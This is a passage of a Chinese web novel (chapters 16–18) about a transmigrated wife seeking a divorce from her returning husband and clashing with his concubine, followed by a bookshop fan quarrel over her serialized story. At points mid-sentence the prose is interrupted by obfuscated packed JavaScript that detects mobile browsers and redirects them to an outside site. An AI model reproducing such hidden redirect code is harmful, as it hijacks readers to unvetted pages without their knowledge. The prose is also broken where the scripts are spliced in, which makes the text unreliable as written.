宋老爷动作比宋沛还快,赶忙抢过玉珏,小心翼翼地系在宋沛的脖子上,还爱不释手地摸了摸,喜笑颜开道:“是块儿好玉,阿珩花了心思的。” 我偷偷瞄了一眼,玉珏成色极好,简直浓绿得化不开,上面刻着宋沛二字,看字迹倒像宋珩的手笔,不由满意地点点头,宋珩准备的礼物还是有些诚意的。 王氏倒很不满,从宋珩拿出礼物的那一刻,面皮儿就抽了抽,而后在一旁翻来覆去地碎碎念:“怎么这般破费,沛哥儿还小,不知轻重,这般贵重,打碎可如何是好啊……“ 我听了,忍不住翻白眼:宋沛好歹是她亲孙子,不知道她怎么就能对宋沛总是这般刻薄呢? 她以前不这样啊! 最开始王氏对宋沛还是很不错,整天将他抱在怀里,乐呵呵地到处跟别人炫耀宋家有后了,有什么好东西都往宋沛房里送,打碎了好几只跟今日不相上下的玉器,王氏从不多说半句。 徐有凰嫉妒得要命,成天喝一些乱七八糟的补药,妄图早日生个儿子。 我当时还笑话她,求子心切到走火入魔了。 谁知风水轮流转,她既有丈夫,又有儿子,我却什么都没有,成了别人眼中的笑话。 咳咳咳,跑题了。 王氏宠爱了宋沛一年,突然性情大变,对宋沛铁石心肠起来,我后来隐隐约约听说,宋沛的娘亲出身不太好,不是良家女子。 王氏出生名门,对烟花女子自然是各种瞧不上,连带宋沛一并讨厌上了。 我过继宋沛后,王氏愈发不待见宋沛了。 从某种程度上来说,王氏倒是爱憎分明:爱之切时,对你掏心掏肺;恨之切时,恨不得掏你心肺。 一直看戏的徐有凰看到玉珏,眼里闪过惊叹,开口道:“二弟对沛哥儿这份心意,相公是拍马也不及啊!” 徐有凰说完,大大的眼睛还朝我眨了眨。 我不禁地抖了抖,徐有凰少女时期也只是爽朗,绝不是俏皮的。 宋珩感受到了我的恶寒,轻握了一下我的手,给了我一个稍安勿躁的眼神儿,对徐有凰笑道:“大嫂是哪里的话,沛哥儿是素娥跟小弟的孩子,今后还要靠沛哥儿为我二人养老送终,一块儿玉珏算不得什么。” 我一听怒火中烧,要不是场合不对,早就对他破口大骂了,一块玉珏就想摘桃,想得倒美! 过年给你拜个年,打发你二两银子就不错了! 宋珩像是读懂了我心中所想,低头闷笑。 这样的他又让我找到了些当年的熟悉感,以前的我们很有默契,很多时候我心中的话还没说出口,他总是忍不住先笑了起来。 我问他笑什么? 他道:“不知为何,见了娘子便想笑。” 16. 第十六章 团圆 为了迎接宋珩的回归,宋家的午饭搞得十分郑重,连一向中午不见人影的宋琛都回来了,目光从我和宋珩的脖子上飞快扫过,和徐有凰对视一眼后,神色不变地坐到宋珩身侧,和宋珩寒暄起来。 虽性情相异,宋琛跟宋珩的感情一向不错,即便我跟徐有凰不合丝毫不影响二人的兄弟情。 开始二人略有些生疏,毕竟多年未见。 好在宋珩是健谈之人,再加上宋老爷和王氏在一边儿插科打诨,二人很快聊得投机起来,直到饭菜上来,二人才意犹未尽地住了嘴。 在开吃之前,王氏突然眼疾手快地舀了一碗汤,递到宋珩面前:“来,好好补补,都瘦了,这是我吩咐你大嫂特地给你熬的。” 我瞄了一眼那汤,碗里浮着一节儿黑乎乎东西,还有一股淡淡地腥味儿钻进鼻中,无论是卖相还是内涵都令人难以下咽。 我不禁莞尔一笑,悄悄冲徐有凰竖了个大拇指。 如果没猜错,似乎是牛鞭汤来着…… 我不禁啧啧:真是人不可貌相啊,林思苑那病怏怏的身子竟还能让宋珩竟虚弱至此! 宋珩见我表情猥琐,似是知道我心中在想什么,低咳一声,端起一饮而尽,强笑:“味道甚好,有劳娘亲和大嫂了。” “好喝就多喝一点,炖了好大一锅呢!”王氏闻言眉开眼笑,还殷勤地想给宋珩再添了一碗。 “……”宋珩连忙将碗拿开,“娘和大嫂的心意,儿子心领了,我还要留着肚子吃菜呢。大哥平日辛苦,更何况是大嫂的亲手所炖,不若给大哥喝吧。” 被突然拉下水的宋琛波澜不惊,不慌不忙道:“娘自从得知你今日要回来,特地为你炖的汤,娘的一番心意,阿珩还是不要辜负得好。” 听到这里,我阴阳怪气的毛病又犯了,幽幽道:“原来相公今日回来,大家都知道了,就我蒙在鼓里!早知如此,今晚就不约宁慈了。” “你男人刚回来,你就住到别人家去了,成何体统!”桌上其他人还未开口,王氏先怒了。 我慢条斯理地回道:“婆婆,我这不是为您身体着想嘛,免得到时候您又头疼脑热了!” 王氏一阵摸不着头脑,忽然想起了什么,脸一阵青,一阵白。 初嫁入宋府时,王氏是真心待我的。 她曾这样说过:“我从小就想要个女儿,可是天不遂我愿,生了两个混世魔王。素娥你懂事又贴心,想来这就是上天为弥补我的遗憾,特意给我送来一个像你这般乖巧的女儿。” 王氏并非是嘴上亲热,行动也是如此,真的跟我老娘一样儿待我。 我一直觉得古代婆婆不好处,遇到王氏觉得自己真是三生有幸啊,这种国民好婆婆都让我给遇上了。 我们过了一年相当和睦的日子,直到林思苑成了寡妇,借居宋府。 王氏从小就将林思苑,既当媳妇儿又当女儿的看待,这种情分不是我这个后来者可以比得上的。 当年未能救得林家,她一直愧对林思苑,为了弥补她的愧疚,王氏不仅劝我接纳林思苑,还想尽法子分开我跟宋珩,给他俩创造机会。 有一天夜里,王氏就是以头疼为由,请我去照顾她,我守着王氏一夜未睡,结果第二天我便得知了一个晴天霹雳:宋珩跟林思苑睡了! 王氏自知对不起我地“劝慰”我:“我们宋家对不住林家,对不住思苑啊。素娥,我知你是个孝顺大度的好孩子,你就成全珩儿跟思苑吧。你跟思苑都喜欢新学,肯定聊得来,效仿娥皇女英,也不失为一段佳话啊。” 我当时就气笑了:“您只觉得对不住林思苑,难道就不觉得对不住我吗?效仿娥皇女英?要不要我将小桃红弄回来跟您做个姐妹!” 当年宋老爷动了花花肠子,想要纳小桃红为妾,王氏不吃不喝,一心寻死。 我念着跟王氏的情分,不惜开罪宋老爷,亲自把小桃红给打发出了京城。 自从毁了宋老爷的晚年幸福后,我内疚至今,无论多憋屈,始终给他留一份面子。 后来林思苑因冲撞于我,致我流产,李素基将其强行掠回了李府,关起来打了几顿。 她不堪折辱,上吊自尽,救下来的时候就剩半口气儿了。 王氏为了林思苑,跪地求我:“素娥啊,思苑是我看着长大的孩子,她断断不是有意的。那必然是个意外,就当娘求求你,你放过她吧!” 自那以后,我对王氏最后的一点儿情分都消失了。 场面一时之间有些冷,这时徐有凰掩嘴笑助攻:“哟,这么多年过去了,弟妹还记恨着呢?我说弟妹……” 徐有凰话还没有说完,只听见“啪”的一声,原来是宋琛的筷子掉地上了。 桌上的人都将目光转向他,宋琛淡定自若,道:“刚没注意,筷子掉了。” “这么大个人了,还这么不小心!”宋老爷淡淡道,随即又吩咐身边儿的丫鬟:“翠屏,去给大爷取双筷子来。” 经过这么一插曲,饭桌上似乎又恢复了些热闹,王氏体会了一把我煞风景的威力,不敢再来招惹我了。 我落得个清静,专心致志地埋头苦吃,突然一条小鱼落到了我的碗里,我抬头一看,不禁囧囧有神。 宋珩正含情脉脉地看着我,笑盈盈地道:“我记得娘子极爱吃鱼。” 宋珩话音刚落,王氏突然剧烈地咳嗽起来,几乎岔了气儿,桌上之人除了宋珩和我,全都低头扒饭。 宋珩是个聪明之人,当即就瞧出不对了,很有涵养地笑道:“怎么,娘子如今改了口味儿?” 徐有凰很善解人意地为宋珩解惑:“二弟,你是不知道,表妹查出问题那年,弟妹心中愧疚难安,曾在佛堂反省了两个月。当我们再去的时候,发现母亲亲自从大昭寺求来的锦鲤都没了,岸上倒是多了一堆鱼骨头。打那以后,弟妹就再也不吃鱼了。” 我再一次偷偷为徐有凰在心中竖起大拇指,既点明了我跟林思苑的不和,又指出了我和王氏的明争暗斗。 一箭双雕,妙啊! “原来是这样。”宋珩了然地点点头,神情自若地将鱼夹了回去,笑容晏晏地问我:“娘子改了口味儿,都不知道,是为夫失职了。好在我们年轻,还有大把时间的可以弥补,不知娘子现在喜欢吃什么?” “梨。”李越青见宋珩似乎没有反应过来,强调道:“姑父,姑姑喜欢吃梨。” “叮咚”一阵瓷器敲击声打破了桌上的静默。 我寻着声音望去,发现是宋沛不小心将手中的汤匙掉入了碗里。 宋沛老实忠厚,不善言辞,平时吃了亏也总是一声不吭,默默承受。可我知道他其实是个内心敏感的孩子,也许他早就意识到了我要抛弃他跑路了。 看着他强忍着难过的样子,我想如同过去般握住他颤抖不止的手,可伸到一般,却又无力地垂下。 我是虚伪自私的人,无论如何都不想成为宋沛眼中的恶人,所以一直迟迟不肯开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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后来林家遭逢大难,宋家据说在一边儿袖手旁观,没有帮忙。 那次大难中,林家女流尽数充入教坊司。 林思苑本应在其中,但其前夫姜侯爷对她情深意重,冒着先帝的猜疑,帮她脱离了苦海,还顺带捞出了她的母亲王姨妈。 王姨妈怨恨宋家的袖手旁观,曾立下誓言,此生永不踏入宋府半步! 她说到做到,哪怕林思苑嫁给了宋珩,也和宋家老死不相往来,甚至放话和林思苑断绝母女关系,还在姜侯爷的墓边搭了个屋子,日日夜夜为姜侯爷守墓,将林思苑臊得不行。 林思苑倒是孝顺孩子,哪怕母亲不认她,她一回来也要先拜见自己的母亲,还把儿子也带去了,因此她和宋珩来了京城,倒是各回各家,各拜各妈。 刚才略有些缓和的气氛又尴尬下来,桌上的人全都放下筷子,坐在椅子上神色奇异地望着门外。 我瞟向主座儿的宋老爷和王氏。 宋老爷又是看似正襟危坐,只是他不自觉地伸长脖子,那望眼欲穿的模样儿,让人一眼就看穿了他内心的激动。 其实宋老爷和王氏老两口都特别偏爱的宋珩,只是王氏表现得太明显,毫不在意她大儿子宋琛的感受。 宋老爷收敛些,但其实只要细心观察,都能感受的到他的偏心。 林思苑因我下了药之故,一直不曾有孕,拆穿我的恶迹后,很快就生下了宋沣,但她的身体被我药垮了,也未再生下一儿半女。 宋沣是宋珩的第一个活着的儿子,宋老爷自然是迫不及待要见见的。 我自嘲笑笑,不经意间扫过王氏,发现王氏正偷偷打量着我,撞到我的目光,仿佛做贼一样,立刻心虚地移开。 我几乎要哈哈大笑,扯了扯嘴角,却发现自己怎么也笑不出来,只能面无表情地迎接着门口相携而来的母子。 17. 第十七章 荔枝 林思苑今年三十有一,脸虽然不如十年前那般娇艳欲滴,但时间赋予她一种迷人的成熟韵味,美的更加摄人心魄。 而我年龄比她小三岁,可看起来比她老了四五岁。 这一刻,我深深感受到了时间的不公,对美人儿那般宽容,对丑人却这么严苛。 我一面儿腹诽,一面儿看着林思苑朝着屋内款款走来。 随着她的走动,屋内多了一阵奢华馥郁的香气,屋内的小丫头们偷偷地嗅着,面露沉醉。 这味香名为六神,李氏的圈钱之作,价格高得令人咋舌,采用龙涎香、沉香等名贵香料所调配,戴在身上可散发出一阵经久不息的异香,还有驱虫之效,多年来一直深受当今权贵官宦的喜爱。 但我却闻不得,每次闻到这股味儿,内心止不住地翻涌。 当年将宋珩和林思苑捉奸在床时,这股香味儿和麝香味儿、汗味儿交织在一起,我当场吐了。 从此我对六神产生了心里阴影,闻到这股香气就会习惯性反胃。 林思苑敏锐地察觉了我的毛病,时不时地熏着六神到我面前晃荡,即使我千方百计地躲开她,可还是躲不过六神的荼毒。 宋珩心中有愧,时常跑到我前面试图赌咒忏悔,只是宋珩每次刚刚开口,我就会忍着恶心,熟练地活动筋骨,打得他抱头逃命。 林思苑如今又故技重施,真是什么时候都不忘恶心我一下! 与宋家之人互诉衷肠之后,林思苑拉着宋沣,对我欠身笑道:“思苑见过妹妹。多年未见,妹妹可安好?” 随着她的靠近,六神的味道也越发浓郁。 为了避免当场吐出来,我只好做作地掩嘴笑道:“吃得好,睡得好,玩得好,一切都很好。倒是听说新安酷热,瘴气浓重,姐姐身子向来虚弱,姐姐受苦了。” 林思苑情意绵绵地往宋珩面上瞟了一眼,唇边绽开一抹笑,“有劳妹妹惦念,不过妹妹有所不知,新安虽环境恶劣,但表哥怜我体弱,担心我受不得炎夏之苦,特意制冰块为我驱热。说到起来,还要感谢妹妹家的制冰之术,真真造福天下百姓。” 淦,又开始显摆宋珩对她多么好了,以为这样就能刺激我。 哎,也怪我,我那时蠢。 林思苑可谓是屡试不爽,隔三岔五地给我“回忆”她和宋珩的美好往事,气得我暴跳如雷,一头扎进她的圈套。 好在我已非当年那个李素娥了,所以我又是掩嘴一笑:“姐姐真是好福气。说起新亭,那里的鲜荔枝却是一绝,果干、罐头显不出它的风味。” 林思苑估计见我不如以往一般怒发冲冠,眼中波光闪过,“新亭名地处偏僻,名不见经传,没想到妹妹对那里的物产倒是如数家珍。先夫也说过天下荔枝,新亭的荔枝最好吃。” 我不由一怔,喃喃道:“味道确实是极好的。” 高中毕业那年,陆誊带我去深市穷游,正是七八月份,现摘的荔枝清甜可口还便宜,我们吃了个爽快,结果吃得太多,得了荔枝病,双双进了医院,遭到赵嘉仪大肆嘲笑。 王氏恍然大悟般:“怪不得珩儿年年寄一大堆荔枝干儿、荔枝罐头。” 我:“……” 宋珩反应平淡:“新亭穷乡僻壤,除了水果和海鲜,没有什么拿的出手的特产。” 穷乡僻壤? 想了想前世深市一路绝尘的高房价,嘴角不由微微抽动! “其实新亭的荔枝也就那样,我吃着跟岭南其他地方没甚区别。”林思苑妩媚的眼神扫过宋珩,抚着鬓边的发丝,意味深长地对我笑道:“妹妹跟先夫的口味儿倒是出奇相类。” 李越青冷不丁地插话:“林姨娘,如今你已改节,进了姑父的大门,怎么老把先夫挂在嘴边——唔——” 我一把捂住李越青的臭嘴,不顾众人各异的神色,直接喊来胭脂,将他揪了出去。 瞅了瞅林思苑的脸色,见她神色如常,似是没有放在心上,我不由地松了口气。 李越青毕竟社会经验不足,缺少毒打,不知道得罪一个大美人儿的后果,何况有着一群强大添狗的大美人儿。 不说别人,宁慈家的孟青平就够他喝一壶了。 我陪着笑脸,小心道:“姐姐,你不要介意,李越青放肆惯了,等会儿我一定好好教训他。” “妹妹折煞姐姐了。”林思苑大度地摆摆手,将宋沣搡到我身边:“沣哥儿,快来见过你嫡母。” 宋沣今年才五岁,面上充斥着骄纵桀骜,端着架子不开口。 我尴尬笑笑,刚想说算了,宋珩沉着脸起身,以迅雷不及掩耳之势踹在宋沣的膝盖处。 宋沣闷哼一声儿,重重跪倒在地。 屋内的人都吓住了,大概没想到温文尔雅的宋珩,也有如此暴戾的时候。 宋珩根本不顾旁人的惊异,满面阴寒,“混账东西,娘都不会叫吗?” 宋沣捂着膝盖,头头高高地抬起,红着眼圈,梗着脖子:“我的亲娘就在这里,她算哪门子的娘,今天你即使打死我,我也不叫!” 听听这伶俐清晰的口齿,看来继承了宋珩聪明的头脑,哪像沛哥儿,五岁说话还结结巴巴呢! 宋珩正欲再踹,宋老爷和王氏一左一右地拖住了他。 王氏不愧是宅斗高手,一下子抓住了重点,冲林思苑喊道:“苑姐儿,还不快教教你儿子。” “沣哥儿,你这是何苦!” 林思苑之前如同傻了一般,儿子被打无动于衷,听到王氏的话后,才抹着泪跪到宋沣身边儿,摁着他的头,重重地扑在我脚边,“娘是怎么教你的,快叫人啊!” 说得我好像逼迫良人的恶霸似的。 我无奈地蹲下身将她们扶起:“没事儿,孩子还小,慢慢来。” 宋沣甩开我的手,红红的眼圈更加恨恨地盯着我。 宋珩终于怒了,三下五除二,挣开宋老爷和王氏,气势汹汹地再次抬脚。 我心道:乖乖,这脚踢下去,宋沣估计得在床上躺好几个月。宋珩倒是下得去脚,不会是做给我看的吧!“ 想到这个可能,我配合地拖住宋珩,大喊道:“孩子还小,不要踢坏了。“< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730432|157276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>其实可以抽一顿! 宋珩回过头,拍拍我的手,满面寒霜的脸上扯出一个笑:“娘子放心,我自有分寸。“ “姑父,且慢!“ 李越青不知又从哪里钻了出来,扯住了宋珩的衣袖,笑眯眯道:”姑父教训沣哥儿之前,不如先让侄儿对沣哥儿说几句话。“ 这臭小子向来不嫌事儿大,让他开口那还得了! 我揪住李越青的领子:“怎么哪都有你,给我闭嘴,小孩少掺和大人的事!” “娘子,此事你先莫要激动,听听越青怎么说。”宋珩抱住我,对着李越青点点头,示意他开口。 “够了,还嫌不够乱吗!“ 宋老爷终于忍不住了,拿出了一家之主的气势。 宋老爷领会过李越青火上浇油的本事,知道要想平息这场闹剧,得先把他打发了,“青哥儿,我知道素娥受委屈了,今日这事你先不要插手,我会给素娥一个交待。“ 稳住李越青后,宋老爷又来到林思苑母子面前道,以不容置疑的口吻道:“新安到燕京路途遥远,思苑长途跋涉,想必身子极乏,现在赶快回房好好休整一番。 至于沣哥儿,你罔顾礼法,不敬嫡母,我罚你马上回去闭门思过,什么时候想明白了,什么时候出来。“ 宋沣还想争辩,林思苑沉默地将他拖起,一路磕磕绊绊,动作粗暴不压于宋珩,看得我心惊肉跳,宋老爷和王氏也忍不住面皮抽抽起来。 其他人倒是神色不变,特别是宋珩,态度冷漠,眼角都没有给一个。 淦,宋沣怎么摊上这么对儿不称职的父母,我的和离书也不知要如何才能拿到手。 宋老爷是经历过大风大浪的人,虽然发生了刚才的闹剧,他还是面不改色地招呼我们坐在一起继续吃饭,只是在场之人都味同嚼蜡一般,心思全然不再吃饭之上。 …… 宋珩抱着双臂,倚在门口,看着我收拾行李,见我半天不理他,绷不住了,捂着胸口,可怜兮兮道:“娘子好狠的心啊,为夫刚回来,娘子就往别人家去了。” 我自认年纪比宋珩大多了,当年把他当个小男友对待,他一撒娇我就投降,拿他毫无办法。 大概是时间真的冲淡了一切,如今看到宋珩百试不爽的招数,我竟觉得有些厌烦。 “什么狠心,不是给你腾地方呢吗!”我不耐地道:“这样贤惠大度的娘子哪里找去!” 宋珩听了也不恼,笑嘻嘻地跑过来,跑来捣乱:“是啊,这样好的娘子哪里找去啊,这五年我一直都惦记着娘子呢,白天想,晚上也想,连梦里都是娘子。” 听着他的“土味儿”情话,我真是有些佩服他的厚脸皮了,懒得与他虚与委蛇,直接搡开他:“宋珩,少在这装疯卖傻了,抽个时间把和离书写了,写完我立马就走。” 宋珩脸上的笑容不变,试图含混:“娘子五年不给我一封信,一来就要休我,我不依!” 见我不理他,突然抱住我,往床上一扔,欺身上前。 我不禁抚额,这是唱哪出,霸王硬上弓吗? 18. 第十八章 选择 自宋珩小露一手后,不敢再小觑他,我悄悄比出个剜眼的手势,同时腿也准备偷袭他:“你想干什么!” “当然是一个丈夫该做的事儿……” 趁宋珩分心之际,我立刻插向他的眼睛,宋珩却躲也不躲,轻巧地抓过我的手腕,单膝压住我的腿,确认我翻不出任何花样,笑道:“娘子声东击西的本事渐长,不过我知道娘子舍不得伤我眼睛,手上功夫不过虚晃一枪罢了,定是在别处等着我。” 看着他得意的目光,我心头突然涌上一股酸楚:“既然你这么了解我,应当明白我并非欲擒故纵,是真心想和你和离的。” 宋珩充耳不闻,自顾自道:“娘子,我们和好吧,今后好好过,再也不吵架了。你不喜欢宋府,我们可以搬出去,重新找个宅子,带上越青和沛哥儿,还有胭脂那小丫头,关上门过我们自己的日子。” 我在宋府除了受些闲气外,包吃包住还有月银,若不是你回来,日子舒坦着呢! 我叹了口气,望着他的眼睛,坚定道:“不可能。宋珩,我的余生就没有计划你的位置。如果你还顾念我们夫妻一场,就痛快些,将和离书写下。” 大概我的话过于伤人,宋珩的脸色顿时暗淡下去,不过他很快就振作起来,扬起一个笑容,“没关系,我的身边有素娥就够了。” “是啊,我仅仅是个家破人亡的弱质女流,我的想法当然不重要。”此时我已经完全放弃了挣扎,平静地看着他:“昔日玉清的遭遇,你要加诸在我身上吗?” 宋珩,玉字辈,字少卿,玉清若不是他,我名字倒过来写。 我特意将“玉清”二字咬得极重,提醒他深埋于心底的阴影。 果然宋珩动作一滞,抬起头来,深深地看着我,眼里充斥着痛苦和不可置信:“在素娥眼里,我是那种无耻之徒?” “你现在的行为和玉清的二表哥有什么区别?”我看着宋珩苍白如纸的脸色,继续追问:“我以前可曾仗着家世和武力勉强过你?” “……那倒没有。”宋珩神情郁结。 我推了推他的胸膛,宋珩慢慢松开我,跌坐于床沿,满脸挫败,“素娥,好狠的心,我将过去的痛苦剖给你,可你却用来对付我。” 你的痛苦跟我有半毛关系,只要我过得畅快就够了! 当然此话只敢在心里想想,怕他狗急跳墙,我理了理衣服和头发,示弱道:“我现在无人撑腰,打又打不过你,只能想点下三滥的办法了。” 宋珩没吭声,脸色依旧难看,我怀疑他是苦肉计。 苍蝇不叮无缝蛋,宋珩那时差不多十八九岁,若无旁的心思,林思薇手无缚鸡之力哪里有本事算计他? 他二人之事,宋珩定不像他说得那么无辜,绝对半推半就。 宋珩听了我的诛心之言,火烧了尾巴似的跳了起来,愤然道:“素娥,你这是受害者有罪论!我宋少卿若是对林思薇半点心思,就让我天打雷劈!” 得了吧,你的发誓要是有用,早灰飞烟灭了。 当年宋珩对我发誓,他对林思苑早已没有男女之情,只有兄妹之情云云。 我也是信了他的鬼话,今天他俩的孩子都能打酱油了! 我敷衍地摆摆手,“好好好,责任全在林思薇,是她非礼你行了吧。” “素娥,你要相信我。这件事我本可以瞒着你,但我最终还是选择告诉你,就是希望不要再让别有用心的人离间我们夫妻。”宋珩上前一步,拉起我的手,我以为他又要欲行不轨,结果他只是蹲下身,将脸埋在我的手心,“我知道错了,让我用余生弥补你,好吗?” 我听得倒牙,使劲把他脑袋推开,“我们走到这一步,不光怨你,我以前也做得不对,这里我给你陪个不是。你若真的想弥补,把和离书给我。我们好聚好散,不要闹得太难看,给彼此留个体面。” 宋珩听完后,一言不发,目光沉沉地打量我半响,突然伸出手替我将头发别在耳后,唇角微弯,只是笑意不达眼底,“素娥,除了和离书,我什么都可以给你,有句话叫精诚所至金石为开,我们还年轻,时间长着呢,我等得起。” 淦,我包小白脸的心等不及了啊! …… 宋珩离开后,胭脂走了进来,看了一眼床上的包袱,问道:“娘子,去宁娘子家借住么?” “去她家做甚,刚刚只是找个借口溜出去,把李越青叫上,我们三个去看看宁慈的房子。” 我摸了摸缠着一圈纱布的脖子,虽然这副模样又给人平添谈资,不过宋家是住不得了,我得去看看宁慈所说的房子,既然是她的私产,宋珩总不敢强闯民宅,随意撒野吧。 我们根据宁慈留下的地址找到了未来的小家,眼前的房屋虽无宋府之富丽堂皇,但不失清幽雅致。 最重要的是,房子位置在东南坊,新郑街,这条街的住户都是些读书备考的举子,或者外地进京做官暂时落脚之人。 这群人素质高,风评好,流动快,邻里之间甚少往来,非常适合我这种常年处于八卦旋涡的人。 我不禁满意地点点头,宁慈费了些心思的,决定明天就搬过来。 …… 我勒令李越青陪胭脂去孟府讨要钥匙,自己则进了距孟府一里开外的茶楼里,忍痛定了个二楼包间,叫了些茶点。 一杯茶刚下肚,胭脂孤身地蹬了上来,说李越青跟人起了冲突。 我大惊,李越青在宋家经常口无遮拦,给人毛毛躁躁的印象,但这小子习得了我欺软怕硬的本事,知道外面的人可不会如宋家一般惯着他,在宋家之外绝不轻易与人结怨。 听了胭脂的讲述才知道——原来他俩走到半道,途径一书坊,李越青听到话本《平妖录》出新刊了,便凑过去看热闹。 刚好坊里有名头戴斗笠的男子翻着话本哀嚎:我的红珠姑娘死了! 红珠是《平妖录》的女二,魅惑百变的魔女形象,人气极高,直逼女主角白练。 李越青顺口回了句:死得好,最烦这个红珠了,一直拖后腿。现在她终于死了,龙傲天可以一心一意与白练斩妖除魔,共赴大道。 斗笠男反驳道:白练有什么好,一天到晚冷着脸,活像个寡妇……” 这可惹毛了李越青,白练是他心目中的女神,平日里容不得别人诋毁。 说起《平妖录》是我最近正在创作的话本。 本来红珠和白练是红白玫瑰双女主的设定,但不知为何李越青强烈反对,铁了心要我将红珠降为二番女配,与土豪笔友无畏兄的口味儿截然相反。 无畏兄则挥舞着银票,强烈要求白练出家当掌门,给红珠腾出女一的位置。 李越青需要顺毛,而无畏兄是个抖M,所以我选择成全李越青,后半篇大幅度削减了红珠的戏份,最近的戏份就是让她领了盒饭。 李越青仗着熟悉剧情,对斗笠男一顿输出,把红珠批得一文不值,将白练吹得天花乱坠。 斗笠男嘴上功夫也不弱,和李越青据理力争起来。 我:“……” 我和胭脂来到现场时,书坊已经挤得水泄不通,如今已经不是斗笠男和李越青两人之间的斗嘴了,战斗已经扩大化,红珠党和白练党争得不亦乐乎。 我挤不进人群,垫起脚在外面张望,隐约看见李越青正和一名身材高大,带着斗笠的男子争得面红耳赤。 不知为何总觉得斗笠男的身影有几分眼熟,但凡我眼熟之人,不是难惹,就是有过节。 此人仅凭身影便令我有模模糊糊的印象,要么来头不小,要么来者不善。 我担心李越青吃亏,叉腰大吼:“李越青,你赶快给我出来!” 李越青听见了我的呼唤,向斗笠男比了个暂时休战的手势,高喊道:“姑姑你先别管我,等我将这孙子骂服后,自会回家领罚。” 斗笠男也不生气,朗声大笑:“我倒要听听你这鳖孙的狗嘴里能吐出什么象牙来!” 我心里微微松了一口气,话虽不是好话,但语气听起来没什么恶意。 李越青看过大纲,分析起来自然头头是道,滔滔不绝地说了一大堆白练跟男主的隐藏细节。 斗笠男眼看就要落败,他身后一名腰佩短刀,侍卫模样的小哥窜了出来,接过了红珠党的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730433|157276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大旗。 佩刀小哥相貌冷峻,像是不苟言笑之人,嘴皮子倒是极其利索,同时对《遇仙记》非常熟悉,还是个细节控,噼里啪啦将李越青驳得哑口无言。 不过李越青也并非孤身奋战,白练党里同样有高手。一名长着桃花眼的年轻书生站了出来,洋洋洒洒,纵横捭阖,非常有气势地抗住了白练和男主的CP。 最后双方争执不下,谁都说服不了谁,现场之人决定来个投票,选红珠还是选白练。 我看着现场现场男女老少认真地投票,心底也不禁暗喜,有争议说明人物形象塑造得立体,想来又可以发笔小财! 红珠跟白练的人气不相上下,清点票数后,数目相等,然后所有人将目光投向了我。 哦,我是红珠白练全都要的异端,没好意思参与投票。 这个时空男子纳妾司空见惯,可大多数人却追捧一生一世一双人的感情,若是公然表示喜欢开后宫会受人鄙视的,这根源在于赵嘉仪。 八百年赵嘉仪为了推销他的报纸,将他参演过的电视剧全部改编成话本,连载于报纸之上。话本男主个个英俊不凡,情深似海,弱水三千只饮一瓢。 由于话本经典,经受住了时间的考验,每个朝代的百姓都是听着他的话本长大,潜移默化之下,内心深处还是认同爱情和婚姻的专一性。 同时据野史记载,赵嘉仪曾建议当时的皇帝优先提拔不纳妾、纳得少的大臣。说法真假不可测,但历朝历代后宅干净的官员确实比风流好色之人的机会多…… 故此无论是庙堂之上还是朝野之外,一夫一妻的坚守者不少。 年轻书生对我拱手道:“这位夫人,白练表面冷若冰霜,实则至纯至善,澄清通明,比到处撩骚的小妖精红珠强多了,您还犹豫什么?” 佩刀小哥则悠悠道:“白练空有天下第一美人的皮囊,内里木讷无趣,无半分内秀可言。而我们红珠聪明伶俐,敢爱敢恨,活色生香的大美人,这样的女子才堪为当今男儿的良配。姐姐,你说对吗?” 嗯,没想到年轻书生浑身上下散发着一股风流之意,骨子里却喜欢端庄款儿。而佩刀小哥看起来冷峻无情,原来喜欢泼辣妖娆的女子。 你们两人的爱好倒是很互补嘛! 李越青撇嘴:“良配?不怕被戴绿帽子么!” “哼!连自己的女人都管不住,证明这个男人也没甚本事,不要也罢。何况红珠至情至性,只要所爱之人全心全意待她,定会投桃报李。”斗笠男抱臂:“倒是白素那种的女子,心高气傲,只看得起强者,说不定哪天傲天一无所有了,她跑得比谁都快!” 年轻书生:“这位公子此言差矣……” 我心里不爽起来,好好讲道理嘛,怎么开始人身攻击了! 由于斗笠男和李越青战斗力稍逊一筹,佩刀小哥和年轻书生成了战斗的中心。此二人两人嘴巴剧毒,分别将白练和红珠从外貌到性格贬得一无是处,仿佛娶了她们简直倒了八辈子血霉。 我不由火冒三丈,竟然如此贬低她们,要知道红珠和白练的人物形象取材于赵敏和小龙女啊。 听着他们源源不断的垃圾话,我忍无可忍,大吼一声:“够了!” 趁着他们受惊愣神的功夫,我指着年轻书生,不客气道:“看你打扮想必是个读书人,你整天看闲书,恐怕连秀才都还没考上吧?” 没有理会年轻书生的古怪面色,我又来到佩刀小哥的面前,瞄了一眼他腰间的短刀,语气不由自主地温柔下来:“小哥身手矫健,定是习武之人,不过你这个时间点还在瞎逛,武举失利了吧!” 佩刀小哥挑眉,没有回答,想来是默认了。 为什么我如此肯定,因为今年的武举人才考了不久,现在全在军中进行集训呢! 见他们哑口无言,我得意笑笑:“选白素和还是红珠,这个问题的本质就好比问你们小时候——我长大了想当文状元还是武状元呢?可实际上能考个秀才就是祖坟冒青烟了……” 